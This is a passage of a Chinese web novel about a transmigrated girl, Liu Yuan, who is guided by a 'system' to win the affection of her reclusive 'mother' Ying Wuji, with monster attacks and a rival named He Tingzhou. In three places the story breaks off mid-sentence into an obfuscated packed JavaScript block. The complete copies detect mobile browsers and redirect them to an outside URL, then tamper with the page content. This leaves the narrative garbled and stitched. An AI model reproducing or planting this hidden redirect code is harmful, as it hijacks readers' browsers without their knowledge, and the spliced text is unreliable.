“她不希望任何人或者妖鬼找到自己,所以设下了一个十分复杂的迷阵,隔绝了外界。” 应无霁,隔绝外界吗? 柳沅的脑海里浮现出他那双总是弥漫着雾气的双眼,他的沉默,他藏在细节里的温柔…… 她感觉心里有点闷,压着嗓子道:“所以你才会让我提升娘亲的好感度,为的是打开她的心结?” “是的。”系统道。“因为任务的关键点不在于他们能否见面,而在于应无霁想不想和渣爹见面。” “那你不早说,早点给我解释不久好了?”柳沅质问道。 系统呵呵笑了一声,嘲讽道:“有些人固执的很,和她讲道理可是说不清楚的,她就是不撞南墙不回头。” 柳沅讪讪地笑了,嘴硬道:“那我现在好好完成任务,把娘亲从过去的阴霾中拯救出来。” “这还差不多。”系统没好气道。 这丹药的药效还真是好,柳沅现在依旧精神百倍,但为了明天不那么疲倦,她还是上床睡觉了。 明天,可要做一件大事。 想着自己心里的筹划,柳沅满意地闭上了眼睛。 * “卖包子喽,卖包子喽!”县城的大街上早早挤满了各类商贩,柳沅听着那些响亮的吆喝,在人群中自如地穿梭着。 今早她在房间的窗台上发现了一张小纸条,上面写着见面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“大伯,你知道了知亭在哪里吗?”柳沅小声问道。突然,身后传来一道清脆的青年音,带着点笑意。 “柳沅姑娘,我们又见面了。” 柳沅闻声回头,发现正是那天给自己送布的青年,李怀朔。 “你怎么在这里?”她惊讶道。 李怀朔依旧带着那白色的帏帽,衣服却换了一身,是淡淡的蓝色。他比上次见面时穿的更加隆重,好像要赶去参加什么重要的宴会。 他身后还跟着一个戴着面纱的绿衣女子,虽然看不见她的面容,但那锐利的眉眼还是给柳沅留下了极为深刻的印象。 很冷,这是柳沅看见她的第一感觉。 李怀朔对着那女子说了几句话,她便离开了。 “方家在办宴会,我要去参加,正好路过这里,看见你一直在问路,我自认为还算见多识广,不如问问我?”李怀朔的声音温润动听,言谈举止也十分得体,彬彬有礼中恰到好处的幽默让人心生好感。 柳沅不由得笑道:“我是想问了知亭在哪里,但是大家一听我说这个名字,就怕的不得了,我什么都没问到他们就跑开了。” 闻言,李怀朔忍俊不禁道:“我倒是知道他们为什么会害怕。” “了知亭根本不是人间的地方。” 26. 萤火(6) 柳沅瞪大了眼睛。 “它是传说中亡灵的往生之地,出现在梦的最深处,传说一旦进去,就再也出不来了。”李怀朔说道。 柳沅咽了咽口水,紧张地望着他,等待着他继续说下去。谁料李怀朔又是一笑,对她道:“姑娘应该是被骗了,我知道谁最爱拿这了知亭开玩笑,你是碰见贺听舟姑娘了吧?” “哎,”柳沅愣了愣,“你怎么知道?” 李怀朔低低笑了几声,解释道:“我广交好友,认识的人多,知道贺姑娘最喜欢用了知亭搪塞不想见的人。” 去你的。柳沅忍不住骂了一声,原想着这地方一定有什么玄虚,千想万想都没想到是贺听舟故弄玄虚。 白费她起那么早匆匆赶到镇上。 李怀朔似乎看出了她的不忿,柔声道:“不过我知道贺姑娘经常去哪里,你去香满楼一定能找到她。” 说完,忍不住笑道:“现在正好快到饭点了,她一定在。晚了可遇不上了。” 这可是个关键信息。柳沅默默思索了一会儿,心想李怀朔没有理由骗自己,这才放了心,对着他认真道了谢。李怀朔笑笑,只催她快快过去。 柳沅吃力地挤出人群,卯足力气朝着香满楼的方向飞奔而去。 “这明明是我先抢到的,先到先得!” 刚跑到香满楼门口,团团围在一起的人群让柳沅险些以为自己跑错地方了。 今天是捅了人窝吗?怎么到处都是人。 “你别以为你不说话这烧鸡就是你的了,是我先抢到了的!” 这声音?柳沅疑惑地踮起脚尖,发现贺听舟满脸通红,神色倔强地在和……在和…… 在和应无霁抢一个纸包! “应无霁怎么会来?!”柳沅失声尖叫一声,又做贼心虚地捂住了嘴。 好在人群喧闹,她的声音不算很大,并没引起当事人的注意。 柳沅找了个隐蔽的地方,暗中观察起来。 “我明明看见是这位姑娘排在你前面的,你欺负人家弱小,咄咄逼人让人家把这最后一只烧鸡让给你。结果这位姑娘不同意,你就闹起来了。”有人喊道。 “胡说,我早就排到这个位置了,刚才是肚子疼去方便了一番,回来就发现自己位置被抢了,这烧鸡原本该是我的!”贺听舟辩解道。 柳沅看见应无霁依旧是那副淡淡的表情,看似对争吵的内容丝毫不在意,但手指紧紧抓着纸包,寸步不让。 她突然觉得好笑,低下头悄悄笑了几声。 谁料这一笑,竟然吸引到了两道视线。柳沅的身体僵了僵,低着头不敢动作。 “哎,你干什么?!”只听见贺听舟一声怒吼,然后人群爆发出巨大的笑声,应无霁趁她不注意夺走了纸包,拔腿就跑。 柳沅悄悄抬起头,惊愕地发现应无霁正朝她所在的方向跑来,速度奇快,还没等她做出反应,一根桃木枝伸到了她面前。 而柳沅凭借本能握了上去。 应无霁带着她飞速往霞村奔去,把暴跳如雷的贺听舟甩在了老后面。 “好啊,你们原来是一伙的!柳沅!我记住你了!”贺听舟的喊声震耳欲聋,又快速远去。 手中的桃木枝被抽走,柳沅抬头,发现已经回到了霞村的家。应无霁淡淡地看她一眼,转身就往房间里走。 “等一下。”柳沅喊住了他。 应无霁转身,神色冷淡。 “那个,”柳沅想起昨天的事情,不免有些尴尬,说话都结巴起来,“你怎么就去镇上了?我还以为你不喜欢出门呢?” 应无霁淡淡地看她一眼,什么也没说,转身就走。 这回任是柳沅跟在他身后怎么喊,他都不回头。 砰—— 房门在面前被重重关上,柳沅忙后退一步,才避免了被门砸中的命运。 “娘亲生气了。”她回忆着应无霁转身时紧紧抿住的唇,苦笑一声。 系统不以为意:“谁让你昨天惹她了。” 柳沅站在应无霁的房门前,想解释,却死活说不出口,最后恼羞成怒,气冲冲地离开了。 “你确定不找她说清楚?”系统幽幽来了一句。 柳沅走进自己的房间,从开着的窗户望了一眼应无霁房间的方向,烦躁地啧了一声。 “再说吧。” 没想到这回是应无霁主动敲响了柳沅的房门。 早早守在门边的柳沅心中一喜,哐的一下打开房门,边开边说道:“我就知道娘亲你宽宏大量,肯定不会和我计较……” 剩下的话在看到应无霁身后的人后戛然而止。 “好久不见啊,”贺听舟站在应无霁身后,笑眯眯地对着她打了个招呼,“柳沅姑娘。” 她怎么会在这里? 柳沅的表情顿时凝固了,下意识看了应无霁一眼。 应无霁淡淡地回看,依旧没什么表情。 柳沅皱着眉头,对着贺听舟冷笑一声:“怎么?你自己送来上门来了?” 闻言,贺听舟甩了甩腰间的饭盒,露出一个阴森的笑容:“你说的这又是什么话,抢了我的烧鸡,还找我兴师问罪来了?” “没这个道理。” 柳沅抱臂,眼神刻薄,上下扫视了她全身,嘲讽道:“我们那叫抢吗?你才叫抢吧?” 这句话深深戳中了贺听舟的痛处,她恼羞成怒,晃着手作出要施法的手势,威胁道:“今天这气我是咽不下去的,我作为入梦人也不为难你们这些凡人,只要你们赔我一只烧鸡……” 她话还没说完,应无霁拿着手中的桃木枝就往她眉心刺。贺听舟大惊,迅速往后撤了好几大步,愤愤道:“你……竟然偷袭?!” 这一击没中,应无霁慢吞吞收回了手,站在一旁打量着她。 当贺听舟发现他手上拿着的法器只是一根平平无奇的树枝时,心里的得意怎么都藏不住。 还以为这人有几把刷子呢,没想到是个半吊子。区区拿个破烂树枝当法器,只能唬人玩玩。 于是她叉着腰,大声嘲笑道:“你的法器就是这种破烂,我可以让你三招……” 话还没说完,也没看见应无霁是怎么动作的,贺听舟只觉得头顶一凉,浑身上下便不能动了。 这一切发生的时间不超过一秒,她脸上还残留着惊愕的表情,应无霁收回桃木枝,转身就往院子里走。 他一走,那种压抑的感觉顿时消失了,贺听舟急促地呼吸着,努力平息着内心的惊涛骇浪。 刚才差点就没命了…… 她眯起眼睛,深深呼出一口气来。 一旁的柳沅目睹了刚才的这一切,见贺听舟此时毫无还手之力,不由得蠢蠢欲动起来。 “你想干什么?”贺听舟瞥她一眼,警惕道。 柳沅笑而不语,只是拿出那天收的枝条,指着上面的了知亭三个字,怼到贺听舟面前。 说起这个,贺听舟有点心虚。她确实不想和柳沅合作,所以随便找了个地方搪塞她,原以为她也找不到自己,没想到就那么在香满楼前碰上了。 “哎,这个都是过去的事了,你这人怎么这么斤斤计较呢?”贺听舟故意放声大笑道。 柳沅收起纸条,似笑非笑道:“我竟然不知道堂堂的入梦人贺听舟,竟然是个骗子,据我所知,入梦人抓取散骨魂被发现,会受到十分严厉的惩罚吧?” 闻言,贺听舟的笑容彻底僵在了脸上,不是因为柳沅 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柳沅瞪她一眼,一边抢一边观察着应无霁的表情,只见他素来平静的表情猛地破碎,最后竟然恼羞成怒,趁着柳沅一个不注意,把碗彻底夺走,护在了怀里。‘ 【放手。】他此刻的眼神带着凶意,冷硬的很。 柳沅不由得也是一阵火气,质问道:“你上次也和我分享了,为什么这次不愿意了?” 应无霁拉扯的力度猛地变大,差点把柳沅甩出去。 她哎哟一声,眼睛彻底瞪圆了:“不就是一只烧鸡吗?犯得着这样吗?不知道的人还以为你没吃过好东西呢。” 系统在这时突然蹦出来,着急道:“你这不是故意找茬吗?这样问的话娘亲会伤心吧?” “你懂什么?“柳沅嗤笑一声,”既然我们要把娘亲从封闭的状态中逼出来,那一定要先刺激她,让她展露出真实的性格底色。“ “我这是在完成任务。” 这句话一落下,与她对抗着的那道力度突然松了很多,柳沅吃惊地抬起头,发现应无霁松开了手,用一种很奇怪的眼神盯着自己。 她被看的有点发毛,不自在地把手往后放了放,结巴道:“我……我不和你抢了呗,你……你吃吧,只是一个烧鸡而已。” 应无霁还是静静地盯着她,那双细长的眼睛雾蒙蒙的,水光潋滟的,看的柳沅一阵迷糊。 最后,她听见一声叹息,那装着烧鸡的碗被一双手推到她面前。 【你吃吧。】 什么?!柳沅不可置信地瞪大了眼睛。 这不是她预想中的发展啊?他不应该不受其辱,勇敢冲出束缚,反击她吗? 怎么突然把烧鸡让给她了? 应无霁见她愣着不动,那双漂亮的眼睛垂了下来。 【小青生气的时候也不会和我说话,你现在是生气了吗?】 他的眼神淡淡的,带着点疑惑,像清晨弥漫在森林的雾气。被这样看着,柳沅突然感觉自己是个不折不扣的坏蛋。 等等,小青? 她警惕地望着应无霁,突然想起从他口中听到很多次这个名字了。 一个不妙的想法缓缓浮现在心头。 难道? 难道她娘亲对别的男人动心了?! 这种想法一出现,柳沅就不可避免地把应无霁的生活轨迹和爱上别人这件事联系在了一起,而且越想越觉得不对。 难怪应无霁总是成天看不见人影,原来是因为这个。 一切都串起来了,柳沅恍然大悟。 27. 萤火(7) “哎,你们能不能不要忽略这边的我啊,我还被定着!”贺听舟哀嚎着,试图引起那两人的注意。 她几乎不能动,蹦着跳到两人面前,不停呼喊着:“有没有人性啊,你们就忍心看着我一直这样吗?” 应无霁倒是注意到了她,但装作没看见,继续啃着手里的鸡腿。 贺听舟吃了个哑巴亏,气不打一处来,愤愤道:“不就是合作吗?我现在答应,你能放了我吗?马上天黑了,我还要回家!” 柳沅见她自己先沉不住气,乐了,快步走到她面前,重复道:“你确定和我合作?” 贺听舟半死不活地闭上眼睛:“确定确定,别问了。” 柳沅望向应无霁,想让他解除对贺听舟的定身术。应无霁站起身来,走到柳沅身边,一行字随之飘到她面前。 【你们在商量什么?】 柳沅把抓散骨魂的事情都和他说了,应无霁思考了一会儿,写道:我也会抓散骨魂,可以不必和她合作。 这个消息对柳沅来说完全是意外之喜,她的眼睛一下就亮了。 如果应无霁来抓,那她就不需要分钱给贺听舟了。 柳沅慢悠悠地晃到贺听舟面前,对着她勾唇一笑:“哎呀,现在情况有变,可能要麻烦你多被定一会儿了。” “你什么意思?我都答应合作了!”贺听舟嚷嚷道。 柳沅但笑不语。 不过散骨魂这小东西值钱的很,有了应无霁这一个免费劳动力也不太够,要是能让贺听舟主动降低分成加入,会更赚钱吧。 她还在想用什么办法激贺听舟一下,谁料此时传来一声崩裂的声响,贺听舟呸了一声,竟然从那定身术中逃了出来,捡起石头就对着应无霁扔。 “不带你们这样欺负人,抢生意的!”她气的面色通红,不停地朝着应无霁扔石头,而且准头挺不错的,次次都扔到应无霁的头。 更奇葩的是,应无霁就站在原地不躲,就那么静静地看着贺听舟。柳沅气愤不已,大喊一声,抄起旁边放着的扫把对着贺听舟就是一棒。 “敢打我娘亲,不想活了是吧?”她一边骂骂咧咧,一边把贺听舟往院子外赶。贺听舟也是气急了,竟然忘记了自己会用法术,竟然和柳沅扭打成了一团。 她竟然敢还手!柳沅更气了,加大了音量,喊来了一群村民,大家齐心协力把贺听舟赶出了村子。 村口处,贺听舟顶着一头乱糟糟的头发和满是尘土的衣裳,手忙脚乱地逃走了,边走边放狠话:“咱们走着瞧!” 柳沅也捋了捋自己被扯乱的头发,大声回击道:“我等着呢!你最好还有胆量来!” 应无霁站在她身后,看着她这副样子,忍不住勾起了嘴角。 好像就这样被护在身后,感觉还不错? 他嘴角的弧度不由得又上扬了一些。不过这些柳沅都没看见,她正忙着和赶来的村民们道谢,顺带着狠狠唾骂了贺听舟无数句。 做完了这一切,她这才回到自家院子里,发现应无霁还维持着那个姿势,站在原地一动不动。 他的额角被石头砸中,肿了一个大包,柳沅看着就痛,忙问道:“家里有伤药吗?如果不及时涂药的话,会越肿越大的。” 应无霁摇摇头,有些疲惫地闭上眼睛,避开了柳沅欲扶他的手。 柳沅这才发现他的状态很不对劲,好像格外的虚弱,不顾他的躲避,拉住了他的手。 应无霁一怔。 “是不是之前的伤还没好?这下不会又加重了伤势吧?”柳沅担心道。 “早知道会这样我就不故意刺激她了,我应该让她离你远点的。” 柳沅还在喋喋不休地说着,应无霁的眼神落在她身上,带着与平时不同的意味。 好像是意外,又好像是惊讶,又仿佛是一点点的不可思议。 最后,他轻轻松开了她的手。 柳沅不解地望着他。 【没事的,明天就好了。】 她还没弄清楚这句话的意思,应无霁已经离开。 “恭喜宿主,娘亲好感度提升10点,目前总好感度30,请再接再厉!” 系统突然的通知把柳沅砸懵了,她实在是想不到,自己刚才的什么举动能让应无霁的好感度一下提升10点。 “自从娘亲和男主决裂以来,你应该是她唯一能感受到的温暖,从前应该没有人在意过他受伤,也许是因为这个,她被你感动了吧。”系统道。 听着系统的解释,柳沅不由得有些出神。 回忆应无霁那副对一切都淡淡的样子,还有几乎不会变化的作息和活动,她的心间缓缓泛上一股酸涩。 哪有人对什么事情都淡淡的,毫无惊喜呢?柳沅转身往自己房间走去,一定是因为对一切都失望了,才会那么淡然吧? 柳沅关上房间的门,轻轻叹了一口气。 “宿主不必难过,只要帮助娘亲走出心结,撮合她和男主在一起,一切都能迎刃而解了。” 柳沅忍不住道:“男主是真的懂她吗?” 系统顿了顿,有些心虚道:“古早虐文小说都是这样的,女主一旦和男主在一起,就收获了幸福,什么烦恼都没有了。” 可柳沅觉得不对,虽然这是个小说世界,但她无法完全把这应无霁当作一个没有思想的纸片人。 “爱情的力量没有这么强大,更何况还是这样不健康的爱情。”她道。 “可健康的爱情也没人看啊,古早小说就是这样的,宿主我们没办法改变既定的结局。”系统生怕她又不想完成任务,连忙劝说道。 “我知道。”柳沅轻声道,透过窗户望向应无霁的卧室,看着里面渐渐亮起的灯光,“我会好好完成任务的。” 这一晚格外的冷,不知道是怎么回事,柳沅睡得很不安稳。直到半夜,她突然被一股奇怪的力量唤醒,原以为是系统,柳沅还在脑海里喊了几声,但没有回音。 她拖着疲惫的身体起身,悄悄打开了窗户。 只见外面红光大作,那日的血红色月亮又挂在了半空中,院中站着一个意想不到的人——应无霁。 柳沅还没来的及惊讶他为什么会在晚上出现,就看见黑暗中突然涌出密密麻麻的触手,还有各种恶心的怪物。 她看见了那天自己遇见的所有怪物。这些怪物的目标,就是站在院中的应无霁。 他似乎对眼前的这一幕已经习以为常,没做任何反抗,闭上了眼睛。血腥的一幕发生了,那些怪物们穿透他的身体,啃食他的血肉,还有的试图寄生在他身上。 浓重的血腥味伴着夜风吹到柳沅鼻尖,让她开始干呕。 太可怕了,怎么会这样?柳沅猛地闭上窗户,趴在一旁颤抖起来。此时,一种低语声传来,和之前她在应无霁房间的方向听到的声音一模一样。 原来这是怪物啃食血肉的声音吗?柳沅感觉全身都被冻住了,那个平静温和的世界一下就破碎了,只剩下应无霁那双雾蒙蒙的眼睛。 她猛然起身,又一次推开了窗户。 怪物消失了,应无霁倒在血泊中,睁大了双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943095|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。 脑海中没有传来任何系统的提示,那便说明娘亲此时没有生命危险,那柳沅就不必出去救人。但…… 应无霁这样真的没事吗?柳沅不忍去细看他身上的血迹和伤痕,刚才的那一幕足够成为她的梦魇。 太可怕了。 现在仍是黑夜,那些怪物看似已经消失了,但依旧有出现的风险。而且应无霁比她强那么多都打不赢这些妖怪,那自己出去就是送死。 还是别出去了,系统也没说娘亲有生命危险,那一定有它的道理。 别出去了。 别出去了。 别…… 柳沅还是冲了出去,如她所料,那些怪物确实没走,看到新鲜的血肉,一齐从黑暗中涌了出来。眼看自己就要沦为怪物的盘中餐,一双手猛地伸过来,把她往后面重重一拉。 柳沅被拥入一个温暖的怀抱,眼前陷入一片浓重的黑暗。 头顶传来轻柔的触感,像有人轻轻拍了拍,带着点安抚的意味,鼻尖被混着血腥味的香火味填满,柳沅知道,是应无霁。 一种难以形容的感觉涌上心头,她突然有点想哭。 院内的红光更盛,柳沅轻轻地昂起头,应无霁正好低下头,四目相对,应无霁对她露出一个安抚性的微笑。紧接着,她看见他绷紧了唇角,眼神瞬间变得阴冷。与此同时,那些一拥而上的怪物被尽数杀死。 纷飞的肉块和血滴哗啦啦从半空中落下,下了一场红色的雨。柳沅就这样被应无霁护在怀中,没有沾上一点血迹。 此时,沉寂很久的系统突然出声:“恭喜宿主,娘亲好感度提升20点,目前总好感度50,请再接再厉。” “哎,你干什么了?怎么娘亲的好感度提升了这么多?”系统忙问道。 柳沅感受着应无霁温热的体温,大脑一片空白,完全没听进去系统的话,直到应无霁走到房间,把她放了下来,她才缓过神来。 不对?不对。柳沅古怪地望着应无霁,总觉得不对劲。 他的种种表现,都不会是一个弱女子会做出的事情。不是柳沅有什么刻板印象,而是应无霁…… “警告警告,娘亲状态不好,请宿主注意。”脑袋里突然炸出的系统提示音把她的思绪拉了回来。 应无霁虚弱地咳嗽了几声,有些站不稳,柳沅连忙伸出手去扶他,这回他没有躲,重重握住了她的手。 他抓的有些紧,柳沅有点不舒服地往外拿,又被应无霁拽了回去。她惊讶地望着他,发现应无霁避开了她的视线。 “你确定这是总好感度50的表现?”柳沅忍不住吐槽道。 系统桀桀桀笑了几声,意味深长道:“这宿主你就不知道了,这么多天相处下来,你也应该知道娘亲是比较内敛的性格,她这样是不好意思了。” 不好意思了?柳沅愣了愣,突然有点想笑。 好像系统说的很有道理哎,以前柳沅想靠近应无霁,总是会被各种躲开,可刚才,应无霁不仅没有躲开,还把她的手拽了回来。 面对柳沅疑惑的眼神,他竟然避开了。 不是害羞是什么?柳沅突然觉得茅塞顿开,心情一下子就舒畅了很多。 不过,她隐隐觉得有些不对,这情节怎么那么像言情小说男女主的春心萌动呢? 光是想到这个场景她就浑身不舒服,忙晃晃脑袋,把这万恶的想法忘掉。 这时,应无霁松开了她的手,一行字渐渐在她眼前浮现。 【夜深了,外面危险,我待会送你回房间。】 28. 萤火(8) 与此同时,系统突然蹦出来说道:“升级任务解锁,请宿主与娘亲同住一晚,任务奖励为一百金,请宿主尽快完成任务。” “什么?一百金?我没听错吧,你什么时候这么大方了?”柳沅惊讶道。 “你没听错,还有,请宿主注意自己的措辞,系统从来都不吝啬。”系统慢声道。 柳沅敷衍着答应了一句,一心只在那一百两黄金上。 这系统任务完全是为她量身定做的吧,怎么能这么巧?正好她现在就在应无霁的房间,正好马上应无霁就要送她回房间。 一百金的诱惑实在是太大了,柳沅无法拒绝。 窗户开着,夜风包裹着寒意,一阵又一阵地吹进室内,吹动应无霁披在肩膀旁的长发,让他看起来像月光孕育出的美丽精灵,只不过这个精灵看起来太虚弱了,好像月光一消失,他就要消失了。 柳沅下意识往前跨了几步,拉住了他随风摇摆的衣袖。应无霁咳嗽几声,抬起手写了一行字。 【走吧,我送你回去。】他拂开柳沅的手,做出要出门的动作。 完成任务的机会就在眼前,得到一百金的机会就在手边。 柳沅固执地站在原地,以一种十分倔强的神态望向应无霁,说道:“我今天想在这住。” 应无霁先是愣了一下,随后仔细打量了她一眼,目光里满是怀疑。 “我就是觉得,呃,外面比较危险。”柳沅心虚地避开他的视线,结巴道。 这也太尴尬了,人家要送自己回去,结果自己还要赖在人家房间不走。 她感觉浑身不自在,但是只要一想到任务奖励是一百金,对财富的渴望顿时压过了尴尬。 她望着应无霁,无比坚定地重复道:“我今晚要在这里呆着。” 柳沅原本以为自己还要再向应无霁解释很多遍,没想到他听完她的话后,竟然煞有介事地点了点头。 柳沅正纳闷50点好感度怎么能有这么大威力时,应无霁爬上窗台,以一种果断姿势跳了出去,然后她的眼前又出现了一行字—— 【我的床没怎么睡过,我晚上一般不睡觉,你可以直接睡在上面。被子很厚,是王大娘前几天送过来的,应该不会冷。】 柳沅目瞪口呆地看着那道身影迅速消失在夜色中,才开始消化这话里的意思。 他好像在关心自己? 柳沅眨眨眼睛,一种莫名的成就感从心里蹦了出来。 相比之前,应无霁和她说话的长度明显增加了,而且…… 她第一次从他的话里感知到了情绪。 以前应无霁和她说话,只是简单的交流和通知,从来不会表达情绪,但今天,在这个好感度提升至50的夜晚,柳沅终于能从应无霁的话中感受到他的人气。 他终于不是记忆中那片淡淡的影子,而是慢慢成为了一个活生生的人。 柳沅突然有点感动,自己的努力终于有了成效。 应无霁对她的态度终于发生了变化。 “宿主先别急着高兴,任务要求是和娘亲共处一室,现在她出去了,你的任务依旧完成不了。”系统给她泼了桶冷水。 柳沅啧了一声,不情不愿地走到窗户边,边走边说:“我知道,我当然知道,我现在就去想办法。” 外面依旧是那么暗,似乎潜藏着无尽的妖魔鬼怪,就连吹过那里的风也带上了腐朽的死亡味道。 她照着应无霁的样子,翻窗出去,在屋顶上,她看见了躺着望月亮的应无霁。 真是的,大晚上的,有床不睡非要跑到屋顶上。她抱怨着,费力从厨房找来梯子,也爬了上去。 应无霁没想到她会来,带着无可奈何的表情,劝她下去。 “如果你要说晚上很危险的话,那不用说了。我娘亲在我身边,我怕什么呢?”柳沅笑着躺下,语气俏皮。应无霁显然不认同她这番话,想说些什么,但最终还是疲惫地闭上了眼睛。 两人就这样躺在同一片屋顶,在寂静的夜晚中望着那轮巨大的明月。 准确来说,柳沅并不太喜欢安静,特别是这种没有任何热闹起来的可能的安静,在这样的安静中,她无法感知到外界的所有联系,就连应无霁,她不转过头去看,都不知道他究竟还存不存在。 他的呼吸太轻了。这让她不可避免地想起躺在院中被妖鬼吞食的他。 “你……”柳沅出声打破了这片寂静,“你有没有特别喜欢的东西?” 说完,她转过头,期待地望着应无霁的侧脸。他也侧过头,有些疑惑地望向他,柳沅及时补充道:“就是喜欢的人或者物品。” 应无霁想了一会儿,抬起手写了两个字:小青。 怎么又是小青?柳沅警觉地皱起了眉头,同时问系统道:“原书中出现过叫小青的人物吗?” 系统道:“没有。宿主问这个做什么?” 这个屡次从应无霁口中出现的名字引起了她极大的警觉,她现在可还没忘记,娘亲和她那位不敢露面的亲爹感情破裂,反目成仇。在这么一个尴尬的时期,按照这本狗血小说的套路,必然要出现一个看似温柔体贴,实则对娘亲别有所图的角色。 这个小青,应该就是这个世界为弥补bug创造出的新角色。 柳沅把自己的想法和系统说了,两人都觉得这个小青有极大的嫌疑是来破坏任务的,于是决定明天一早就跟踪应无霁,搞清楚他每天出门去干什么。 想了那么多,她的头有点痛,于是闭上眼睛,想休息一下。谁料这一闭上,就睁不开了。迷迷糊糊中,她感觉身上好像被盖上了什么东西,来不及睁开眼睛看看,她便坠入了无边的黑暗。 这天清晨,柳沅神清气爽地起床,却发现自己是从自己的房间醒来的,身上还披着应无霁的外袍。不用想,肯定是昨晚她睡着后,应无霁把她送了回来。 而且系统显示任务完成,她足足赚取了一百两黄金! 满怀着对娘亲伟大母爱的赞颂,柳沅匆匆梳洗好,端着铜镜准备给娘亲好好梳妆打扮,然后趁她不注意跟在她身后,看看她一天到晚到底在干什么。 她刚打开窗户,就看见一身白衣的应无霁站在树下,一头乌黑柔顺的头发用一根淡蓝色的发带绑好,头顶还沾着一根碍事的枯草,看起来清爽又阳光。 还有种扑面而来的少年气。 怎么娘亲长得有点像男的?柳沅一愣,狐疑地看了应无霁好几眼,最后还是压下心底涌上的古怪,走了出去。 “早上好。”她笑眯眯地朝着应无霁打招呼。应无霁也回之一笑,这可把她吓得不轻,疑心他是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955013|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃错了药。 但是,她突然灵光一闪,想到了应无霁对自己笑的原因。一定是因为昨晚在屋顶上,少女怀春,应无霁对着她说出了掩藏在心底已久的秘密,她要去见小青! 几乎是一瞬间,柳沅跑到他面前,直白地问道:“你是要去见小青吗?” 应无霁露出意外的表情,笑着点点头。 应无霁笑起来很好看,长长的双眼皮褶皱舒展开,像画家勾勒出的梦幻线条,带着柔软温柔的弧度,和那黑中透蓝的眼珠搭配在一起,在阳光照耀下,泛起五彩的水光。 柳沅看着他的笑,突然很嫉妒地咬紧了后槽牙。 天杀的到底是谁想拐走她这么漂亮的娘亲,要是等她发现并揪出这个禽兽,一定不会轻易地放过他! 头顶突然被什么东西揉了揉,柳沅抬起头,发现应无霁。他像哄孩子一样摸摸她的头,还递给她一块用纸包好的糕点。 【我晚上才会回来。】 【你可以吃这个垫垫肚子】 好经典的哄孩子语录。 柳沅攥紧了糕点,目送着应无霁渐渐远去,胸中的怒火也随之高涨起来。 好啊,有了新欢忘了女儿,应无霁! 柳沅气的直跺脚,迈开步子想跟上去,却发现应无霁早就不见了。 “哎哟,忘记娘亲是修仙者了,下次,下次我们再跟踪。”系统感受到了柳沅的负面情绪,赶紧出声安慰道。 柳沅冷笑几声,没说话。她正坐在院中的石桌旁生着闷气,突然听见一阵急促的脚步声正往院子这边来。 柳沅还以为是去而复返的应无霁,匆忙抬头,却发现是贺听舟。 “怎么是你?”柳沅不悦道。 贺听舟来时很匆忙,不停地喘着气,断断续续道:“你不是要和我合作吗?我这次特意带了钱来,以表示我的诚意。” 说着,解开她随身携带的包袱,露出满满一包的黄金。 “那个,你姐姐确实很强,我就勉强承认她比我强,但是,”贺听舟清了清嗓子,强调道:“我知道货源啊,散骨魂这东西是违禁品,一般只有固定的货源,你们虽然效率高但是没有渠道,和我合作就有稳定的渠道,不怕被发现。” “这是不是一举两得呢?”贺听舟胸有成竹,对着柳沅眨眨眼。 柳沅却摇摇头:“我们做这个也不是为了赚大钱,恐怕并不需要那么多的客源。” “贺姑娘骗了我那么多次,这次我怕是不敢再相信你了。”她故作失落的样子,还装模作样地抹了抹眼泪。果然,贺听舟急了,连忙把那包黄金抱到她面前,急忙道:“可我已经带了钱,这难道不够表示我的诚心吗?” 柳沅强忍着把那黄金搂进怀中的冲动,转过头,伤心道:“难道在贺姑娘眼里,我就是这么一个见钱眼开的人吗?” “那你要怎么办?”贺听舟没办法了,欲哭无泪道。 “以后赚的钱我七你三,我姐姐抓散骨魂,你提供货源就可以了。”柳沅冷静道。 望着她如今这副胜券在握,冷静分析的样子,贺听舟都要怀疑刚才自己看见的那个视作金钱如粪土,脆弱委屈的女子是假的。 “真是好算计啊。”贺听舟皮笑肉不笑道。 “彼此彼此。”柳沅微笑着回答道。 29. 萤火(9) 两人大眼瞪小眼了好一会儿,贺听舟的肚子突然响起一阵古怪的咕噜声。然后,她羞涩地低下头,不好意思道:“早上太急了,没来得及吃早饭,你这边有吃的吗?” 柳沅抱臂斜眼看她,微微扬起嘴角,露出一个不善的笑容:“没有。” 但贺听舟显然不信,因为她凭借敏锐的嗅觉闻到了饭菜的香味,并且以极快的速度绕过柳沅的阻拦,直奔厨房。 “你给我站住!”背后传来柳沅气急败坏的喊叫,贺听舟凭借自己的直觉,找到了那放在厨房灶台上的木盒子,并一把掀开。 柳沅气喘吁吁跟过来时,看见的就是贺听舟满眼含泪,拿着筷子颤抖的样子。 “没人告诉过你不要随便动别人家里的东西吗?”柳沅一把夺走贺听舟面前装着饭菜的盒子,恶狠狠道。 “太好吃了,简直是太好吃了!”贺听舟眼含热泪,脸上泛起了显眼的红光。 柳沅的表情从一开始的愤怒变成了怀疑。她看了看木盒里的饭菜,嘟囔道:“有这么好吃吗?” 